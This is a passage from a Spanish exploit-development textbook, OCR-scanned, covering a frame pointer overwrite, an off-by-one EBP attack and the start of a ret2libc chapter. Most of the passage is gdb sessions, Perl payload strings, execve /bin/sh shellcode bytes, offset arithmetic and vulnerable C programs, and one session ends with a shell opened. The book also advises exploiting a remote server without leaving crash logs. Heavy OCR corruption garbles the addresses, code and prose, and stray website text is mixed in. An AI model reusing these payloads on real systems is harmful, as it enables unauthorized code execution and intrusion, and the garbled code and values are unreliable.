
ebp  0x41414141  0x41414141  //  EBP  alterado 

(gdb)  info  reg  eip 

eip  0x8Q484bl  0x80484bl  <proc+150> 


Con  una  longitud  de  272  bytes  hemos  sobrescrito  el  registro  EBP  por  complete.  Otra  forma  de  calcular 
este  offset,  es  observar  c6mo  el  eodigo  ensamblador  referenda  el  buffer  vulnerable: 

0x08048131  <+22>  :  lea  -QxlOc  ( %ebp )  ,  %eax 

Esto  signifies  que  buffer  [  ]  sc  encuentra  268  (OxiOc)  bytes  antes  que  el  registro  base  o  frame  pointer 
actual.  Los  cuatro  bytes  adyacentes  son  ocupados  por  el  registro  EBP  guardado  que  hemos  sobrescrito. 

De  momenta,  lo  unico  que  tenemos  es  una  denegacion  de  servicio.  La  primera  informacion  a  recabar 
es  la  direccion  de  nuestro  buffer,  quc  sera  al  mismo  tiempo  la  direction  donde  ubicaremos  otra 
direction  apuntando  al  shellcode.  El  registro  ESP  apunta  al  principio  de  las  variables  locales,  si  lo 
eonsultamos  despues  de  que  argv[i]  haya  sido  copiado  en  buffer  [j  y  antes  de  que  se  ejecute  la 
instruccion  leave  (reeuerde  que  modifica  a  %esp),  muy  cerca  encontraremos  el  principio  del  buffer, 

blackngel@bbc  :  *“$  gdb  -q  .  /  saludo 
(gdb)  disass  proc 

Dump  of  assembler  code  for  function  proc: 

0x080484 ab  <+144>:  mov  $0xQ,%eax 
0x080484b0  <+149>*  leave 
0x0  8 0  4  8 4bX  <+l50>:  ret 
End  of  assembler  dump, 

(gdb)  break  *proc+149 

Funto  de  interruption  1  at  0x80484b0 

(gdb)  run  'perl  -e  ‘print  "A,tx272T'' 

Starting  program:  /home/blackngel /saludo  "perl  -e  ’print  "A’,x272’’ 

Encantado  de  conocerte. 

AA  AAAAAAAAA  A  A  A  AAAAAAAAAAAAA  A  A  AAAAAAA  AAAAA  A  A  AAAAAAAAAAAAA  A  AAAAAAAAAAAAA  AAAAAAAAA  A  A  A  A  A 
AAAAAA  A  A  A  A  A  A  A  AAAAAAAAAAAAA  A  A  A  AAAAAA  A  AAA  A  A  A  A  AAAAAAAAAAAAA  A  A  AAAAAAAAA  A  AAA  AAAAAA  AAA  AA  AA 
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ^J\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJLAAAAAAAA 


AAAAAAAAAAAAAAAAAAAA^^  k^M^ 
Breakpoint  1,  0x060 4 84b0  in  proc  {) 
(gdb)  x/l6x  $esp 


GxbfffflOQ 
Oxbf ff flip 
Oxbf fff 120 
Oxbff ff 130 


0x080  4  8  5d0 
0x00000000 
0x41414141 
0x41414141 


Oxbf ff flic 
0xb7e28938 
0x41414141 
0x41414141 


(gdb) 


Oxf 63d4e2e 
Oxb 7fffe78 
0x41414141 
0x41414141 


0x0  0  0003  f 3 
0x41414141 
0x41414141 
0x41414141 


Ya  tenemos  lo  que  huscabamos,  la  direccion  de  inicio  de  nuestro  buffer  en  Oxbffffiic.  Si  ahora 
sobrescribimos  EBP  con  esta  direccion  menos  4  bytes  (recordemos  que  la  instruccion  popi  %ebp 
incrementara  el  valor  de  la  eima  de  la  pita),  ESP  tambien  tornara  ese  valor  al  final  de  main  u  y  despues 
de  la  instruccion  ret,  E1P  tomara  el  valor  que  alii  se  cncuentre  ejecutando  nuestro  codigo,  Veamoslo: 

(gdb)  disass  main 

Dump  of  assembler  code  for  function  main: 


0x0804 8 4b2 

<+0>: 

push 

%ebp 

0x080484b3 

<+l> : 

mov 

leap, %ebp 

0x0  8  04  84b5 

<+3> : 

and 

$0xf f ff f f f 0/ %esp 

0x080484ee 

<+60> : 

call 

0x804841b  <proe> 

0x08  0  4  84f 3 

<  +  65> : 

mov 

30x0 , %eax 

0x080  4  84  f 8 

<+7Q> : 

leave 

0x080  4  84  f 9 

<+71>: 

ret 

End  of  assembler  dump. 

(gdb)  break  *main+70 

Pun to  de  interrupcibn  1  at  0x80 4 84 f 8 

(gdb)  run  ’perl  -e  'print  "AT,x268  .  " \xl8 \xf  l\xf  f  \xbf  "  '  ' 

Starting  program:  /home/blackngel/saludo  'perl  -e  'print  nATI  x268 

M\xi8\xf l\xf f \xbf ” ' ' 

Encantado  de  conocerte: 

AAAAA  A  A  A  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  A  A  AAAAAAAAAA  A  A  A  A  AA  AAAAAAAAA  A  A  AAAAAAAAAAAA  A  AA 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAA  A  A  AAAAA  AAAAAAAAA,  A  A  AAAA  AAAAAAAAAAAA  AAAAAAAAA  A  A  A  AAAAAAAAAAAAA  A  A  A  AAAAAAAAA  A  A  A 
AAAAAAAAAAAAAAAA^^^^^ 

Breakpoint  lf  0x080484f8  in  main  () 

(gdb)  info  reg  ebp 

ebp  Oxbf fff 118  OxbffffllS  //  EBP  alterado 

(gdb)  break  *maln+71 

Punto  de  interrupcidn  2  at  0x80484f9 
(gdb)  c 
Continuando  , 

Breakpoint  2f  0x080484f9  in  main  () 

(gdb)  info  reg  esp 

esp  Oxbffffiic  Oxbffffiic  //  ESP  -  EBP  +  4 

(gdb)  x/x  $esp 

Oxbffffiic:  0x41414141 

(gdb)  c 

Continuando . 

Program  received  signal  SIGSEGV,  Segmentation  fault, 

0x41414141  in  ??  () 

(gdb) 
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Si  se  ha  detenido  el  tiempo  necesario  para  comprender  la  sesion  de  depuracion  anterior,  observara  que 
primero  tomamos  control  sohre  el  registro  EBP,  posteriormente  sobre  ESP,  y  final  mente  E1P  apunm  a 
una  direccion  arbitraria  que  forma  parte  del  contenido  del  buffer  vulnerable. 

Actuando  en  e!  papel  de  atacante,  situaremos  en  Oxbf f f flic  otra  direccion  que  apunte  a  un  shellcode, 
y  dado  que  podemos  inyectar  el  mismo  a  continuation,  su  direccion  podria  ser  0xbffffl20.  Pero 
debemos  prestar  especial  atencion  a  I  os  bytes  que  puedan  representar  algun  tipo  de  complicacton 
durante  la  inyeecion,  0x20  simboliza  un  espacio,  por  lo  que  podria  damos  algunos  quebraderos  dc 
cabeza.  Para  evitar  esto,  situaremos  el  shellcode  un  poco  mas  lejos,  cone  retain  ente  en  la  direccion 
Oxbf fff 124. 


C 

t 


GxbfFff  1 1 1  0xbFffF124 


Jmagen  03,04:  Estmctura  dc  la  inyeccion. 


Pongamos  en  practica  esta  tecnica: 

$  echo  'perl  -e  ’print  "\xeb\xlf \x5e\x89\x76\x0B\x31\xcG\xB8\x46\x07\x.89Vx46 

\xQc\xb0\x0b\x69\xf 3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8 
\xdc\xf f \xff \xf f /bin/sh" ; ' '  >  /tmp/sc 
(gdb)  disass  proc 

Dump  of  assembler  code  for  function  proc : 


0x08  04  8  4ab  <+l44>:  mov  $0x0,%eax 
0x08 04 8 4b0  <+l49>:  leave 
0x080484bl  <+l 50> :  ret 
End  of  assembler  dump. 

(gdb)  break  *proc+150 

Punto  de  interrupcion  1  at  0x8G484bl 

(gdb)  disass  main 

Dump  of  assembler  code  for  function  main: 


0x080484f3  <+65>:  mov  $0xQ,%eax 
0x08 04 84 fS  <+70>:  leave 

0x0804 84f 9  <  +  71>:  ret 

End  of  assembler  dump. 

(gdb)  break  *ma±n+71 

Punto  de  interrupcion  2  at  Gx80484f9 

(gdb)  run  'perl  -e  Sprint  " \x24 \xf l\xf f \xbf  H  .  "AAAA,T  1  '  ' cat  /tmp/sc' 'perl  -e  'print 
,TAT,x2 15  -  ,T\xl8\xfl\xff\xbf'' '  ' 

The  program  being  debugged  has  been  started  already. 

Start  it  from  the  beginning?  (y  o  n)  y 

Starting  program:  /home/blackngel / saludo  'perl  ~e  'print 

"\x24\xfl\xff\xbf T>  ."AAAA"  T  '  'cat  /tmp/sc-'  'perl  -e  'print  "A"x215 

,T\xl  8\xf  l\xf  f  \xbf  "  1  ' 

Encantado  de  conocerte: 
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1  /bin / sh AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA 

AAAA  AAAAA  A  A  AAA  AAAAAA  A  AAA  A  A  A  AAAA  AAAAA  A  A  A  A AAAAAAAAA A A  A  A  AAAAAAjAA  A  A  A  AA  A  AAAAAAA  A  A  A  AA  AAAAA 
AAAAAAAJlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^^^^^^&t 

Breakpoint  1,  0xG8Q484bl  in  proc  () 

[gdb)  info  reg  ebp 

ebp  OxbffffllS  OxbffffllS 

(gdb)  c 
Continuando , 

Breakpoint  2,  0xQ80484f9  in  main  () 

[gdb)  info  reg  asp 

es  p  Oxbffffllc  Oxbffffllc 

[gdb)  x/x  $esp 
Oxbffffllc :  Oxbf f f f 124 

[gdb)  c 
Continuando . 

process  3326  is  executing  new  program:  /bin/dash 

$  who ami 

blackngel 


3.2.  Off-by-One  Exploit 

En  la  vida  real  siguen  existiendo  situaciones  mas  complejas  que  la  que  aeabamos  de  ver  hace  un 
momento.  Tal  vez  por  una  confusion  a  la  hora  de  determinar  donde  acaba  el  byte  null  (\o)  de  fin  de 
cadena  o  por  cualquier  otro  descuido,  existen  programas  que  permiten  la  alteracion  del  ultimo  byte  del 
registro  EBP  guardado,  tecnica  tambien  conocida  con  el  nombre  de  off-by-one. 

Lapregunta  es,  <,por  que  se  producen  estas  confusiones?  La  situacion  habitual  es  que  la  ileracion  en 
un  bucle  sobre  un  array  de  elememos  se  extienda  una  posicion  mas  alia  de  lo  que  serla  correcto.  Dicho 
error  puede  producirse,  por  poner  un  ejemplo,  cuando  se  utiliza  una  condicion  “mayor  o  igual  que” 
(>=)  en  vez  de  “mayor  que”  (>),  dando  lugar  al  examen  o  uso  de  un  elemento  extra  no  existente.  Se 
trata  de  un  error  psicologico  conocido  ampliamente  en  el  mundo  de  las  matematicas  y  que  a  veces  se 
describe  con  el  nombre  de  error fencepost,  o  error  de  postes.  Si  a  usted  le  piden  que  divida  un  espacio 
de  100  meiros  en  secciones  de  1 0  y  para  ello  debe  marcar  cada  fragmento  con  un  poste,  la  respuesta 
automatica  es  que  solo  precisa  de  10  postes  para  cumplir  la  tarea,  pero  lo  cierto  es  que  son  1 1  tal  y 
como  puede  observar  en  la  ilustracion. 


0  12 

■ 

J— - — — _ _ _ 

3 

1 

5  i 

6  : 

1  ! 

3 

9  1 

; 

.0 

100  m  ' 

Jmagert  03.05:  Representation  del  clasico  error  de  postes  o  l’eneepost. 
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El  caso  inverse  es  el  mas  peligroso,  si  usted  conoce  el  numero  de  postes  y  le  pi  den  que  calcule  el 
numero  de  seed  ones  entre  el  las  y  responde  coma  solucion  el  mismo  numero  de  secciones  que  postes 
(lo  correclo  siempre  es  uno  menos),  por  desgracia,  si  lo  extrapolamos  a  un  bade  en  su  aplicacion, 
estara  trabajando  con  un  elemento  extra  no  declarado  previamente.  Recuerde  que  en  computacion 
normalmente  un  indice  o  apuntador  siempre  indica  el  primer  elemento  de  un  conjunto  mediante  un 
valor  0,  y  no  1  como  haria  si  contase  eon  los  dedos  de  la  mano. 

Lo  que  saben  los  exploiters,  es  que  graeias  a  la  estructura  little-endian  de  la  arquitectura  x86,  podemos 
modificar  este  ultimo  byte  en  beneficio  propio.  Ahora  si,  veamos  el  programa  tal  cual  fue  extraido  de 
uno  de  los  retos  propuestos  por  smashthestaekorg. 

#in.clude  <stdio.h> 

# include  <stdlib . h> 

# include  <str±ng.h> 
int  limit,  c; 

int  getebpO  {  _ asm _ (T,movl  %ebp,  %eax");  } 

void  f (char  *-s) 

{ 

int  * i ; 

char  buf  [25  6]  ; 
i  -  (int  *)  getebpO  ; 
limit  -  *1  -  (int)buf  +  1; 

for  (  c  -  0;  c  <  limit  &&  s[c'3  1=  'VO*;  C++  ) 

bu  f [ c  J  =  s [ c ] ; 

) 

int  main (int  arge,  char  **argv) 

( 

int  cookie  =  1000; 
f (argv [1] ) ; 

if  (  cookie  ==  Oxdsfaced  )  { 

setresuid  (geteuidO  ,  geteuid  0  r  geteuidO); 
exec  Ip  ( Tl  /bin  /  sh"  ,  N/bin/sh%  T'-i,T,  NOLL); 

) 

return  0; 

} 


3.2.1.  Precondiciones 

En  la  teoria  podemos  escribir  en  buf  []  261  caracteres  (bytes).  Decimos  en  la  teoria,  puesto  que  si 
volvemos  a  los  problemas  de  alineacion,  este  no  siempre  sera  d  easo.  En  la  teoria,  decimos,  te nemos 
la  capacidad  de  sobrescribir  por  complete  el  puntero  *i  y  adicionalmente  el  primer  byte  del  frame 
pointer.  Veamos  que  ocurre: 


Situation  normal: 

buffer  (256  bytes) 

"  *i  (4  bytes)  ' 

EBP 

nombre 

0x08048358 

OxbfffefSa 

Imagen  03.06- 1 :  Sobrescritura  del  byte  menos  significative  de  EBP. 
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Situation  de  ataque: 


buffer  (256  bytes) 

^  *\  (4  bytes) 

EBP 

AAAAAAAAAAAAAAAAAAAAAAAAAA 

0*41414141 

0xbfffef4 1 

Imagen  03.06-2:  Sobrescrilura  del  byle  menus  significative.)  de  EBP  (Contimiacion). 


Poder  sobrescribir  un  solo  byte  de  EBP  no  es  la  panacea,  pero  si  lo  sufieiente  como  para  lograr  ejecutar 
eodigo  arbitrario.  Se  pretende  atacar  el  buffer  con  una  ordenacion  como  la  siguiente: 


nops 

shellcode 

&shellcode 

|~ EBP  (1  byte] 

Tmagen  03.07:  Inyeccion  de  ataque 


Las  condiciones  son  las  siguientes: 

-  Que  el  atacante  pueda  sobrescribir  el  contenido  de  una  direccion  cuyos  tres  bytes  mas 
sign  ificati vos  se  correspondan  con  los  de  EBP. 

-  Que  el  atacante  disponga  de  un  espacio  suficientemente  amplio  como  para  albergar  el 
shellcode  y  la  direccion  por  la  que  es  apuntado. 


Si  los  requisitos  meneionados  se  ponen  del  lado  del  atacante,  este  podria  colocar  una  direccion  en 
buffer  (o  incluso  mas  lejos  que  el  espacio  reservado)  apuntando  a  un  shellcode,  y  hacer  que  EBP,  y 
por  lo  tanto  ESP,  apunten  a  esta  direccion  solo  modificando  el  ultimo  byte.  Si  esta  situacion  se  presenta 
en  la  realidad,  estariamos  realizando  exactamente  el  mismo  ataque  que  estudiamos  en  secciones 
previas.  Repetimos,  tanto  EBP  como  la  direccion  en  memoria  donde  el  atacante  inyectara  ia  direccion 
que  apunta  al  shellcode  tienen  que  cumplir  la  condition  de  que  sus  3  primeros  bytes  scan  iguales,  solo 
entonces  podremos  jugar  con  el  cuarto  byte  como  si  de  un  offset  se  tratase. 


I, Que  ocurre  si  el  tamano  del  buffer  no  es  lo  suficientemente  grande?  Entonces  un  atacante  siempre 
puede  encontrar  alternatives  para  inyectar  el  shellcode  en  otro  espacio  de  memoria  y  apunlar 
correctamente  hacia  el  mismo.  En  realidad,  c  nan  do  iniciamos  un  ataque  de  esta  clase  de  forma  local, 
no  importa  mucho  donde  coloquemos  el  shellcode,  lo  unico  relevante  es  lograr  introdueir  la  direccion 
que  apunta  hacia  el  en  una  position  de  memoria  cuyos  3  primeros  bytes  sean  iguales  a  los  del  EBP 
guardado. 

blackngel@bbc: gdb  -q  . /fl 
{gdb)  disass  f 

0x080483eb  <f +Q> ;  push  %ebp 

Qx08Q483ec  <f+l>:  mov  %esp, %ebp 

0x080483ee  <f+3>:  sub  $0x118, %esp 


0x08048456  <f+107>:  jmp  0x8048419  <f+46> 

0x08048458  <f+109>:  leave 

0x08048459  <f+110>:  ret 

End  of  assembler  dump . 

(gdb)  break  *f+109  //  Detener  en  "leave1'  sin  ejecutar 

Breakpoint  1  at  0x8048458 

(gdb)  break  *f+H0  //  Detener  despues  de  "leave" 

Breakpoint  2  at  0x8048459 
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tgdb)  run  'perl  -e  “print  MA,rx281  “  '  //  Probamos  suerte 

Starting  program:  /home/blackngel/fl  "perl  -e  “print  ,TA1,x281 1 
Breakpoint  1,  0x03048458  in  f  0 
Current  language:  auto;  currently  asm 


(gdb)  x/16x  $esp 


Oxbf fff300 
0xbffff31D 
Oxbf fff 320 
Qxbff  f  £3.30 
{ gdb )  c 


0x4141 4141 
0x41414141 
0x41414141 
0x41414141 


0x41414141 

0x41414141 

0x41414141 

0x41414141 


0x41414141 

0x41414141 

0x41414141 

0x41414141 


0x41414141 

0x41414141 

0x41414141 

0x41414141 


Continuing . 

Breakpoint  2,  0x08048459  in  f  () 


(gdb)  info  reg  ebp 

ebp  Oxbf fff 441  Oxbf fff 441  //  EBP  casi  hundido 


A  destacar: 

-  ESP  apunta  directamente  a  I  principio  del  buffer  Oxbf  f  ffsoo 

EBP  puede  ser  alterado  en  un  byte  eon  un  buffer  de  28 1  caracteres. 

Sin  necesidad  de  debuggear,  como  la  instruccion  nub  $0xiis,  %esp  nos  dice  cuantos  bytes  han  si  do 
reservados,  podemos  saber  donde  comienza  el  puntero  *i  que  vamos  a  sobrescribir; 

i  =  Oxbf fff 300  +  118b  -  4  -  Oxbf fff 4 4 1 4 

AM  coloearemos  la  direccion  del  shell  code  y  ahi  debe  apuntar  E3BP,  Repetimos,  este  valor  se  copia  a 
ESP,  y  debido  al  popi  %ebp  ejecutado  en  main  ( )  ,  usted  debe  restar  cuatro  al  valor  de  la  direccion,  Por 
lo  tanto,  nuestro  byte  modificador  sera:  0x14  -  4  =  oxio.  La  disposicidn  final  que  lograda  una 
explotacion  exiiosa  es  la  siguiente: 


Imagcn  03.08:  Diagrams  de  explolacibn  de  una  condition  de  off-by-tine. 


A  partir  de  aqui  ya  dispone  de  toda  la  informacion  neeesaria  para  realizar  la  inyeccion  usted  mismo. 


3.3.  Dilucidacion 

Durante  el  presente  capitulo  se  ha  pretendido  demostrar  que  atm  en  situaciones  limite  existen  diversas 
soluciones  que  pueden  ser  aplicadas.  Debemos  ampliar  nuestros  horizontes  y  alzar  bien  la  vista  en 
busca  de  estrategias  y  altemativas  que  nos  ayuden  a  lograr  nuestros  objetivos, 

Mas  adelante  en  este  mismo  libro  veremos  como  un  sistema  de  protection  conocido  como  Slack  Smash 
Protector  (SSP)  o  ProPolice,  establecido  a  partir  de  la  version  4.1  de  GCC,  tiene  por  objetivo  mitigar 
este  lipo  de  vulnerabilidades,  inclusive  la  modificacion  del  registro  EBP  (opcion  de  compilacion 
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f stack-protector  implcmentada  por  defecto).  Estudiaremos  entonces  la  efectividad  de  dicho  metodo 
y  m  que  casos  no  puede  ofrecer  una  comp  I  eta  cobcrtura  y  proteccion.  La  seccidn  7. 10  eonstituye  una 
prueba  fehaciente  de  ello. 


3.4.  Referenclas 

*  The  Frame  F  o  in  ter  O  verwri  te  en  h  tip  ;/fwww.phrack .  a  rg/issues.  him  l  ?  id=8&  iss  ue=55 

*  Frame  Pointer  Overwrite  Demonstration  cn 

h  ftp  ://www.  seat  ri  team ,  com/securityreviews/6  MOO  J  OUNFQ.  him! 

*  SFP  Overwrite  en  http://www.thearnazmgking.com/tut4.php 

*  Off-by-one  error  en  http ://en.  Wikipedia.  a rgfwik i A Off- by -o ne  error 
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^Cuando  ret2libc  puede  ser  util? 

Cuando  Las  p  agin  as  de  memoria  del  sistema  a  explotar  estan  marcadas  como  no  ejecutables  (la 
protection  NX  o  non-execute  se  eneuentra  habilitada).  Bn  estos  cases  lograr  introducir  un  shellcode 
en  el  stack,  inclusive  en  los  argumentos  del  programa  o  el  entomo,  no  servira  de  miidio. 

Aunque  el  bit  NX  es  completamente  dependiente  del  hardware  subyacente,  en  este  caso  el  procesador, 
la  implementacion  de  PaX  para  Linux  es  capaz  de  emular  dicho  bit  en  las  arquitecturas  1A32  de  Intel, 
cuyo  hardware  no  soporta  esta  caracteristica  de  forma  intrinseca. 

/For  que  ret '2 libc  es  efectivo? 

El  obj  etivo  de  esta  tecnica  radica  en  conseguir  modi  Hear  el  valor  de  retorno  E1P  con  la  direccion  de 
una  11  am  ad  a  de  libreria  del  sistema,  normalmente  system  o  s  exeeveo,  mprotect  o  u  otras  que  nos 
permitan  ejecutar  eomandos  arbitrarios  para  posterionnente  elevar  privilegios, 

Estas  funciones  se  encuentran  en  una  libreria  cargada  en  tiempo  de  ejecucion  con  su  programa  y, 
efectivamente,  su  espacio  de  memoria  si  es  ejecutable.  Cuando  el  metodo  vulnerable  a  stack  overflow 
retome,  la  funcion  de  libreria  sera  ejecutada  y  eon  ella  el/los  parametro/s  que  se  !e  haya/n 
prop  ore  ionado,  que  para  los  intereses  de  un  at  ac  ante  sera  normalmente  /bin/sh  o  algo  similar, 

^Existe  alguna  limitacion? 

Los  sistema s  o  distribuciones  mas  modemas  implementan  una  tecnica  de  aleatorizacion  de  direeciones 
de  memoria  conocida  como  ASLR.  Si  es  el  caso,  ret 2 libc  no  siempre  sera  aplicable  ya  que  la  direccidn 
de  las  funciones  de  libreria  estaran  saltando  de  un  lado  a  otro  en  cada  ejecucidn.  En  situaciones  de 
elevacion  de  privilegios  locales  el  brute  forcing  siempre  puede  ser  aplicable  como  sera  visto  mas 
adelante  en  este  Iibro.  La  seccion  7.1  contiene  informacion  mas  detallada  sobre  la  implementacion 
actual  de  ASLR  en  sistemas  Linux.  En  el  apartado  7. 1 0  demostraremos  tanibien  que  ASLR  no  resulta 
efectivo  contra  un  ataque  ret 2 libc  disenado  para  atacar  un  servidor  remote  vulnerable. 

4.1.  Prueba  de  concepto  (PoC) 

Sin  mas  preambulos,  veamos  el  clasieo  programa  vulnerable: 

Hnclude  <stdio.h> 

tinclude  <string.h> 

fvulnlchar  * tempi,  char  *temp2} 


char  buffer [512] ; 
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str cpy  (b’jf  f  er ,  temp2)  ; 

printf ( MHala  %s  %s\n",  tempi,  buffer); 

) 

int  main(int  argc,  char  *argv[]) 

{ 

if  {  argc  <  3  ) 
exit (0) ; 

f vuln { argv 1 1 ] ,  argv [2J ) ; 

printf { "Hasta  luego  %s  a rgv [  1  ]  ,  argv [2] ) ; 

return  0; 


La  aplicacion  es  francamente  inutil,  somos  conscientes  de  ello,  pero  ei  concepto  quo  deseatnos  mostrar 
se  toma  sencillo,  tenemos  un  buffer  de  512  bytes  des  bard  able  a  parti  r  del  segundo  argumento 
proporcionado  a  traves  de  la  linea  de  comandos.  Nuestra  intencidn  es  alterar  el  registro  EIP  eon  la 
direccion  de  la  funcidn  system o«  a  la  que  nos  gustaria  proporcionar  el  argumento  “/bin/sh”  La 
pregutita  es:  ^como  rnia  funcion  de  libreria  recibe  sus  parametros?  Para  resolver  este  problema 
debemos  estudiar  las  diferentes  convenciones  de  llamada  utilizadas  por  los  procesadores  x86,  Los 
compiladores  lienen  la  obligacion  de  defmir  y  resolver  algunas  de  las  siguientes  incognitas:  Jos 
argument  os  de  funcidn  deben  pasarse  a  traves  de  registros  o  utilizando  el  stack?,  ^quien  se  encarga  de 
limpiar  la  pila,  la  funcidn  llainadora  (caller)  o  la  funcion  llamada  (cal lee)? 

La  convene  ion  de  llamada  cdecl  (C  declaration)  introduce  los  argumemos  en  la  pila  en  orden  inverso, 
es  decir,  de  derecha  a  izquierda,  y  la  funcidn  llamadora  se  encarga  de  limpiar  el  espacio  consumido 
por  las  instrucciones  push.  El  siguiente  eddigo  C... 

callee (1,  2,  3);  


...se  traduce  a!  siguiente  listado  ensamblado: 


caller : 

pushl 

$3 

pushl 

$2 

pushl 

$1 

call 

callee 

add! 

$12, %esp 

El  formate  de  eddigo  generado  por  cdecl  permite  la  utilizacion  de  funciones  que  posean  un  numero  de 
argumentos  variables.  En  Linux,  el  compilador  GCC  utiliza  por  defecto  esta  sintaxis. 

La  convene  ion  sidcall  {standard  call)  es  muy  similar  a  cdecl ,  solo  que  en  este  caso  la  funcion  invocada 
tiene  la  carga  adicional  de  limpiar  la  pila.  He  aqui  un  ejemplo: 

callee : 

push  ebp 
mov  ebp,  esp 

pop  ebp 
ret  12 


La  instruccidn  ret  agrega  un  valor  adicional  que  desplazara  la  pila  el  numero  de  elementos  necesarios 
para  deshacerse  de  los  parametros  intro  du  ci  do  s.  Es  comun  encontrar  este  tipo  de  con  vend  on  en  la 
interfaz  de  programacion  o  API,  Win32. 
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For  su  parte,  fas  (call  (con  vend  on  que  puede  encontrase  en  aiguna  porcion  de  codigo  del  kernel  de  NT) 
utiliza  los  registros  para  pasar  los  argumentos  a  la  funcion  llamada.  Siendo  mas  teen  loos,  los  dos 
primeros  parametros  son  pasados  mediante  registros;  aquellas  funeiones  que  requieran  la  disposidon 
de  un  nurnero  superior,  utilizaran  el  stack  como  eomplemento*  Bn  procesadores  como  Xenon  PowerPC 
la  implementation  de  csla  metodologia  puede  constituir  una  gran  mejora  en  el  rendimiento  global  de 
la  aplicacion,  pero  esta  diferenda  en  el  consume  de  ciclos  no  es  tan  evidente  en  los  microprocesadores 
Intel  o  AMD, 

Una  vez  asimilado  este  nuevo  conotimiento,  descubrimos  que  una  sentencia  como 
system ('Vbin/sh1')  se  traduce  a  ensamblador  en  algo  como  esto: 

push  &f,/bin/sh" 
call  system  

El  pTOcedimiento  es  tan  simple  como  breve:  antes  de  que  una  funcion  sea  llamada  (instruction  call), 
los  parametros  son  situados  en  la  pila  en  orden  inverse,  luego  se  apilara  automaticamente  la  direction 
de  retorno  a  donde  el  proceso  debe  devoiver  el  control  una  vez  completado  su  objetivo.  Imitando  esta 
estructura  podemos  obtener  io  siguiente: 


f  buffer  Y  EBP  1 

"  EIP  1 

;  aaaaaaaaaaaaaaaaaaaaaaaaaaa 

ret 

&"/bin/*h" 

imagen  04.01 :  Llamada  a  una  funcibn  de  Ubreria, 


Cuando  system  o  se  ejecute,  la  direccion  de  la  cadena  /bin/sh  se  encontara  en  el  lugar  adecuado 
para  ser  interpretada  como  un  argumento,  Para  una  explotacion  exitosa  necesitamos  obtener  los 
siguientes  elementos: 

1 .  La  direccion  de  system  ( } 

2,  La  direccion  de  la  cadena  /bin/sh. 

Hay  algo  important©  a  destaear,  el  valor  de  ret  no  es  importante  en  principle,  ya  que  este  no  sera 
tornado  hasta  que  la  ejeeucion  de  la  funcion  system (” /bin/sh")  finalice.  Pero  una  explotacion 
controlada  deberia  encadenar  otra  funcion  que,  o  bien  estabilice  el  curso  del  proceso,  o  bien  saiga 
limpiamente  sin  voicar  logs  sospechosos  de  fallos  de  segmentation  en  /var /log /m&ssages  o  core 
dumps  que  se  puedan  examinar  a  posteriori.  Ocurre  que  si  dejamos  este  valor  al  azar,  cl  programa 
rompera  tras  regresar  del  payload  principal  (en  este  caso  una  funcion  system  {)).  Imagine  que  ha 
descubierto  una  aplicacion  remota  que  es  vulnerable  y  aclua  como  servidor,  cn  esta  situation  lo 
adecuado  seria  explotar  el  programa  de  forma  que  cuando  lerminemos  nuestra  sesion  en  la  shell,  la 
aplicacion  continue  su  ejeeucion  de  mode  tal  que  nadie  advierta  que  hemos  realizado  una  entrada  no 
autorizada  al  sistema. 

blackngelgbbc :  ~/prueba.e/bo$  gcc  poc.c  -o  poc 
foiackngel@bbct -/pruebas/bo$  gdb  ~q  ./poc 
(gdb)  break  main 
Breakpoint  1  at  OxS0483e7 
(gdb)  run 

Starting  program:  /home/blackngel/pru-ebas/bo/poe 
Breakpoint  1,  0xQSG483e7  in  main  () 
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{gdb}  p  system 

$3-  -  {<text  variable,  no  debug  info>}  0xb7ead990  <system> 
(gdb)  p  exit 

$3  =  f<text  variable^  tto  debug  info>}  0xb7ea2fbG  <exit> 


Hemos  obtenido  las  direcciones  de  system o  y  exitt)  dentro  de  la  librena  I i be  que  se  carga  con 
nuestro  programs .  Si  dichas  funciones  fuesen  utilizadas  dentro  del  propio  codigo  del  binario,  estas  se 
encontrarian  en  la  seccion  PTL  o  Procedure  Linkage  Table,  y  podriamos  obtener  sus  direcciones  con 
la  suite  de  ingenieria  inversa  Radare  mediante  el  siguiente  comando: 

blackngellbbc : *-/pruebas./bo$  rabin2  -i  . /poc 


radare,  the  reverse  engineering  framework 


Project 


Qpensource  tools  to  rfsasm,  debug,  analyze,  manipulate  binary  files  and  more,,. 


documentation 
development 
bug  tracker 
examples 
features 
talks 
gui 


Download 


vatabind  0  7,2 
radare 2  0.9  4 
r2-biod  0,9,4 
radare  1.5,2 
ired  0,4 
repositories 
sources 


Contact 


mailing  list 
archives 
twitter 
email 
ire 


?it  clone  git  t //gifchub.  caa/radare/radjire5 


At  ffdevopsdays  with  eradfireorB  T-shirt  J 


ti  Retwwated  by  radare 
Expand 

lM  radare  ICJun 

©raadareora 

This  weekend  i  isamed  to  toad  teas  images, 
thanks  to  r^tknj&H,  #sattconsci@nc4  ttfidare? 
«H0S 


X'.'.'A'V.'.V.i* 


Tweet  to  fradaraarig 


Tmagen  04.02:  Paging  ollcial  de  la  suite  do  ingenieria  inversa  Radare. 


Correcto,  abora  tenemos  que  poner  una  cadena  /bin/sh  en  algun  lugar  de  la  memoria  y  obtener  su 
direction.  La  idea  mas  comunmente  aceptada  en  una  explotacion  de  ambito  local,  es  utilizar  uoa 
variable  de  entomo  para  exportar  la  cadena  deseada.  Por  supuesto,  si  la  aplicacidn  vulnerable  se 
encontrase  en  un  servidor  remoto,  la  cadena  debera  scr  introducida  en  la  pila  formando  parte  det 
payload  de  ataque,  Para  lograr  nuestro  objetivo  podemos  hacer  uso  de  una  pequefia  utilidad  cuya 
mi  si  on  es  proporcionar  la  direccion  en  el  entorno  de  una  variable  que  le  indiquenios  corno  argumento 
en  base  al  noinbre  del  programa  que  ejecutamos.  Mostramos  a  eontinuacidn  el  codigo  fuente. 


# include  <stdio.h> 
^include  <stdlib.h> 
^include  <st.ring.h> 
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int  main ( int  arge,  char  **argv) 

{ 

char  *ptr; 
if  £  arge  <  3  ) 
exit (0) ; 

